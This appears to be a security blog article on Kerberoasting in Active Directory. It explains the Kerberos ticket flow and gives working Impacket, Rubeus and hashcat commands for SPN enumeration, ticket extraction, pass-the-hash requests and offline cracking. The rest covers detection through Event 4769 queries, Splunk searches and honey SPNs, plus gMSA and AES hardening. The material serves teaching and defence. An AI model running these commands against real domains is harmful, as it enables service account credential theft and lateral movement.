Kerberoasting is one of the most reliably effective Active Directory attack techniques: it requires only a valid domain account, leaves minimal traces by default, and yields plaintext service account credentials that often grant significant lateral movement opportunities. Unlike many AD attacks that require elevated access or interaction with specific hosts, Kerberoasting operates entirely through legitimate Kerberos protocol requests — making it difficult to block without fundamentally changing service account management practices.

Kerberos Authentication and the TGS Flow

Understanding why Kerberoasting works requires understanding Kerberos ticket mechanics.

Step 1 — AS-REQ/AS-REP (Authentication Service Exchange): The client authenticates to the Key Distribution Center (KDC, which runs on every domain controller). It sends an AS-REQ and receives a Ticket-Granting Ticket (TGT) encrypted with the krbtgt account’s hash. The client also receives a session key encrypted with its own credentials.

Step 2 — TGS-REQ/TGS-REP (Ticket-Granting Service Exchange): When the client wants to access a service, it presents its TGT and requests a service ticket for a specific Service Principal Name (SPN). The KDC returns a TGS (service ticket). The session key portion of this TGS is encrypted with the service account’s long-term key — derived from the service account’s password.

Step 3 — AP-REQ: The client presents the TGS to the service. The service decrypts it using its own credentials to verify authenticity.

The attack: An attacker who is any authenticated domain user can send TGS-REQ requests for arbitrary SPNs. They receive valid encrypted tickets back from the KDC. They extract the encrypted portion (which contains a session key derived from the service account password) and attempt to crack it offline. The KDC has no way to distinguish a legitimate TGS request from an attacker’s — it’s a valid Kerberos operation.

Enumerating SPNs

The first phase of Kerberoasting is identifying service accounts with registered SPNs.

Using Impacket (from Linux/macOS):

 1# Enumerate all SPNs in the domain from a Linux host
 2# Requires valid domain credentials
 3python3 /opt/impacket/examples/GetUserSPNs.py \
 4  CORP.LOCAL/jsmith:Password123 \
 5  -dc-ip 192.168.1.10 \
 6  -request
 7
 8# Output and immediately save hashes to file
 9python3 /opt/impacket/examples/GetUserSPNs.py \
10  CORP.LOCAL/jsmith:Password123 \
11  -dc-ip 192.168.1.10 \
12  -request \
13  -outputfile kerberoast_hashes.txt
14
15# Target a specific SPN
16python3 /opt/impacket/examples/GetUserSPNs.py \
17  CORP.LOCAL/jsmith:Password123 \
18  -dc-ip 192.168.1.10 \
19  -request-user svc-mssql

Using PowerShell (from a domain-joined Windows host):

 1# Enumerate SPNs using .NET ADSI
 2$searcher = [adsisearcher]'(&(objectClass=user)(servicePrincipalName=*))'
 3$searcher.PropertiesToLoad.AddRange(@('sAMAccountName','servicePrincipalName','pwdLastSet','lastLogonTimestamp'))
 4$searcher.PageSize = 1000
 5$results = $searcher.FindAll()
 6
 7foreach ($result in $results) {
 8    $props = $result.Properties
 9    $lastSet = [datetime]::FromFileTime([int64]($props['pwdlastset'][0]))
10    $lastLogon = [datetime]::FromFileTime([int64]($props['lastlogontimestamp'][0]))
11    [PSCustomObject]@{
12        Account    = $props['samaccountname'][0]
13        SPN        = $props['serviceprincipalname'] -join ', '
14        PwdLastSet = $lastSet
15        LastLogon  = $lastLogon
16    }
17} | Format-Table -AutoSize
18
19# Using ActiveDirectory module (if available)
20Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
21  -Properties ServicePrincipalName, PasswordLastSet, LastLogonDate |
22  Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, LastLogonDate |
23  Sort-Object PasswordLastSet

High-value targets in the SPN enumeration output:

  • Accounts with passwords set more than 90 days ago
  • Accounts with names suggesting service usage (svc-*, sql-*, backup-*)
  • Accounts that have never logged on (likely legacy/forgotten service accounts)
  • Accounts with administrative group membership

Extracting TGS Hashes

Using Rubeus (Windows, from memory — no disk artifacts):

 1# Download and execute Rubeus in memory (red team pattern)
 2# Request all Kerberoastable TGS tickets
 3.\Rubeus.exe kerberoast /outfile:hashes.txt
 4
 5# Request tickets with RC4 encryption only (to force crackable format)
 6.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
 7
 8# Target specific user (reduced noise)
 9.\Rubeus.exe kerberoast /user:svc-mssql /outfile:hash-mssql.txt
10
11# Roast from a specific domain controller
12.\Rubeus.exe kerberoast /dc:dc01.corp.local /outfile:hashes.txt
13
14# Request using ldaps (port 636) to avoid clear-text LDAP
15.\Rubeus.exe kerberoast /ldapport:636 /outfile:hashes.txt
16
17# Advanced: use an existing TGT to roast (avoids AS-REQ logging)
18.\Rubeus.exe kerberoast /ticket:base64_ticket_here /outfile:hashes.txt

Using Impacket’s GetUserSPNs.py (Linux):

 1# Standard kerberoast — outputs hashcat-compatible format
 2python3 GetUserSPNs.py CORP.LOCAL/jsmith:Password123 \
 3  -dc-ip 192.168.1.10 \
 4  -request \
 5  -format hashcat
 6
 7# Using NTLM hash for authentication (Pass-the-Hash to request TGS)
 8python3 GetUserSPNs.py CORP.LOCAL/jsmith \
 9  -hashes :aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 \
10  -dc-ip 192.168.1.10 \
11  -request
12
13# Using Kerberos auth (ccache ticket)
14export KRB5CCNAME=/tmp/jsmith.ccache
15python3 GetUserSPNs.py CORP.LOCAL/jsmith \
16  -k -no-pass \
17  -dc-ip 192.168.1.10 \
18  -request

A captured hash looks like this (hashcat mode 13100 format):

$krb5tgs$23$*svc-mssql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a1b2c3d4e5f6...
[truncated — typically 1–2KB]

The $23$ indicates etype 23 (RC4-HMAC). If you see $17$ or $18$, the service account is using AES128 or AES256 — significantly harder to crack.

Cracking Kerberoasting Hashes

Using hashcat:

 1# Mode 13100 = Kerberos 5, etype 23, TGS-REP (RC4 — most common)
 2hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
 3
 4# With rules for better coverage
 5hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt \
 6  -r /usr/share/hashcat/rules/best64.rule
 7
 8# Combination attack (wordlist + wordlist)
 9hashcat -m 13100 hashes.txt \
10  -a 1 /usr/share/wordlists/rockyou.txt /usr/share/wordlists/rockyou.txt
11
12# Brute force up to 8 characters (fast for RC4)
13hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a
14
15# Mode 19600 = Kerberos 5, etype 17, TGS-REP (AES-128)
16hashcat -m 19600 hashes.txt /usr/share/wordlists/rockyou.txt
17
18# Mode 19700 = Kerberos 5, etype 18, TGS-REP (AES-256)
19hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
20
21# Show cracked results
22hashcat -m 13100 hashes.txt --show

Typical cracking performance (single RTX 3090):

ModeEncryptionSpeed
13100RC4-HMAC (etype 23)~1.5 GH/s
19600AES-128 (etype 17)~80 MH/s
19700AES-256 (etype 18)~40 MH/s

RC4 cracking is approximately 20–40x faster than AES-256 for the same password space.

Real-World Kerberoasting Usage

Operation Wocao (2019): Fox-IT documented a Chinese APT group’s multi-year espionage campaign against roughly 10 countries. Their standard operating procedure included Kerberoasting within the first hours of domain access to escalate from a low-privileged foothold. Service account passwords obtained via Kerberoasting were used to access backup systems, database servers, and application infrastructure.

Ryuk Ransomware Operations (2019–2021): Multiple incident response reports from CrowdStrike, Mandiant, and others documented Ryuk operators routinely using Kerberoasting as part of their domain escalation playbook. After initial access via TrickBot or BazarLoader, Ryuk affiliates used Rubeus for Kerberoasting within 24–48 hours, obtaining service account credentials used to access backup infrastructure and security tooling before deploying ransomware.

LockBit 3.0 Affiliates: CISA Advisory AA23-165A (June 2023) documented LockBit affiliates explicitly using Kerberoasting as part of their lateral movement toolkit in healthcare sector attacks.

Detection

Windows Event Log — Event ID 4769

Every TGS request generates Event ID 4769 (A Kerberos service ticket was requested) on the domain controller. Key fields to monitor:

  • Ticket Encryption Type: 0x17 (RC4-HMAC) is the primary indicator. Modern AD environments and legitimate services should use AES (0x12 = AES256-CTS).
  • Client Address: The source IP of the requesting account
  • Service Name: The SPN being requested

PowerShell to hunt Event 4769 with RC4 encryption:

 1# Query domain controller event logs for RC4 TGS requests
 2# 0x17 = RC4-HMAC encryption type
 3Get-WinEvent -ComputerName dc01.corp.local -FilterHashtable @{
 4    LogName   = 'Security'
 5    Id        = 4769
 6    StartTime = (Get-Date).AddDays(-7)
 7} | Where-Object {
 8    $_.Properties[6].Value -eq '0x17'  # EncryptionType = RC4
 9} | Select-Object TimeCreated,
10    @{N='AccountName';E={$_.Properties[0].Value}},
11    @{N='ServiceName';E={$_.Properties[2].Value}},
12    @{N='ClientAddress';E={$_.Properties[9].Value}},
13    @{N='EncryptionType';E={$_.Properties[6].Value}} |
14    Sort-Object TimeCreated -Descending

Splunk query for Kerberoasting detection:

index=wineventlog EventCode=4769
  Ticket_Encryption_Type=0x17
  Service_Name!="krbtgt"
  Service_Name!="*$"
| bucket _time span=5m
| stats count dc(Account_Name) as unique_accounts
        values(Service_Name) as spns_targeted
        values(Client_Address) as src_ips
  by _time Account_Name
| where count > 5 OR unique_accounts > 1
| sort - count

Detecting bulk SPN enumeration (pre-roast reconnaissance):

index=wineventlog EventCode=4769
| bucket _time span=1m
| stats count values(Service_Name) as services by _time Account_Name Client_Address
| where count > 10
| eval alert_reason="Possible Kerberoast: " + tostring(count) + " TGS requests in 1 minute"

Sysmon and LDAP Monitoring

Kerberoasting tools typically perform LDAP queries to enumerate SPNs before requesting tickets. If you have LDAP audit logging enabled:

# Elastic/OpenSearch query for LDAP SPN enumeration
event.code: "1644" AND
winlog.event_data.SearchFilter: "*servicePrincipalName*" AND
winlog.event_data.SearchFilter: "*samAccountType=805306368*"

Detecting with Honey SPNs

 1# Create a honey account with a realistic SPN
 2New-ADUser -Name "svc-backup-honey" `
 3  -SamAccountName "svc-backup-honey" `
 4  -AccountPassword (ConvertTo-SecureString "VeryLongRandomPassword!$(Get-Random -Maximum 999999)" -AsPlainText -Force) `
 5  -Enabled $true
 6
 7# Register a realistic-looking SPN
 8Set-ADUser svc-backup-honey -Add @{servicePrincipalName = "backup/bkpserver.corp.local"}
 9
10# Alert rule in your SIEM: ANY Event 4769 for "backup/bkpserver.corp.local" = high-severity alert
11# Zero legitimate traffic should ever request this SPN

Defense and Mitigation

1. Group Managed Service Accounts (gMSA)

gMSAs eliminate the human-chosen password problem entirely. The password is a 256-bit random value managed by AD and never known to administrators.

 1# Create a gMSA (requires AD schema >= 2012 and KDS Root Key)
 2# First, create the KDS Root Key if not present (only needed once per forest)
 3Add-KdsRootKey -EffectiveImmediately  # Wait 10 hours in production; use -EffectiveTime for testing
 4
 5# Create the gMSA
 6New-ADServiceAccount -Name "gMSA-SQLService" `
 7  -DNSHostName "gMSA-SQLService.corp.local" `
 8  -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group" `
 9  -ManagedPasswordIntervalInDays 30 `
10  -KerberosEncryptionType AES256
11
12# Grant the gMSA permission to log on as a service on target server
13# (Run on the SQL server)
14Install-ADServiceAccount gMSA-SQLService
15Test-ADServiceAccount gMSA-SQLService  # Should return True
16
17# Configure SQL Server service to use gMSA
18# In SQL Server Configuration Manager, set service account to:
19# CORP\gMSA-SQLService$  (note the trailing $)

2. Enforce AES Encryption for Service Accounts

 1# Enforce AES encryption on a service account
 2# (Remove RC4 support — accounts must support AES first)
 3Set-ADUser svc-mssql -KerberosEncryptionType AES256
 4
 5# Verify the msDS-SupportedEncryptionTypes attribute
 6Get-ADUser svc-mssql -Properties msDS-SupportedEncryptionTypes |
 7  Select-Object Name, msDS-SupportedEncryptionTypes
 8
 9# Bulk enforce on all service accounts (audit first)
10Get-ADUser -Filter {ServicePrincipalName -ne "$null"} |
11  Set-ADUser -KerberosEncryptionType AES256
12
13# Enforce via GPO:
14# Computer Config → Policies → Windows Settings → Security Settings →
15# Local Policies → Security Options →
16# "Network security: Configure encryption types allowed for Kerberos"
17# Enable only: AES128_HMAC_SHA1, AES256_HMAC_SHA1

3. Strong Password Policy for Service Accounts

For service accounts where gMSA isn’t feasible (legacy applications, cross-platform services):

 1# Generate a cryptographically random 30-character password
 2Add-Type -AssemblyName System.Web
 3$password = [System.Web.Security.Membership]::GeneratePassword(30, 8)
 4$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
 5
 6# Apply to service account
 7Set-ADAccountPassword -Identity svc-legacy-app -NewPassword $securePassword -Reset
 8
 9# Store the password in a secrets manager (CyberArk, HashiCorp Vault, AWS Secrets Manager)
10# DO NOT store in AD attribute or documentation

4. Protected Users Group

Placing service accounts (or privileged users) in the Protected Users security group enforces several security restrictions:

1# Add high-privilege service accounts to Protected Users
2Add-ADGroupMember -Identity "Protected Users" -Members "svc-exchange", "svc-sccm"
3
4# Protected Users enforces:
5# - No NTLM authentication (Kerberos only)
6# - No DES or RC4 encryption in Kerberos
7# - TGT limited to 4-hour lifetime (no renewal)
8# - No credential caching on devices
9# NOTE: Test carefully — some services break without NTLM/RC4

5. Privilege Tiering

Service accounts should follow least-privilege principles. Kerberoasting becomes much less impactful if cracked service account passwords grant access only to specific services and not to domain admin or critical infrastructure.

  • Audit service accounts with Domain Admins or Enterprise Admins membership
  • Separate service identity (the SPN account) from administrative tasks
  • Use dedicated administrative accounts that are NOT service accounts

MITRE ATT&CK Mapping

  • T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting
  • T1087.002 — Account Discovery: Domain Account (SPN enumeration)
  • T1110.002 — Brute Force: Password Cracking (offline hash cracking)

Summary

Kerberoasting exploits a fundamental Kerberos design decision: any domain user can request service tickets for any SPN. Because TGS session keys are encrypted with service account password-derived keys, any authenticated user can obtain ciphertext to crack offline. The attack requires no elevated privileges, generates minimal alerts without specific detection tuning, and is directly applicable against a high percentage of enterprise AD environments that rely on password-based service accounts. Effective mitigation is binary: either deploy gMSAs to eliminate crackable passwords, or enforce AES-only encryption and mandate long random passwords. Detection depends primarily on Event ID 4769 filtering for RC4 encryption type combined with honey SPN accounts.


References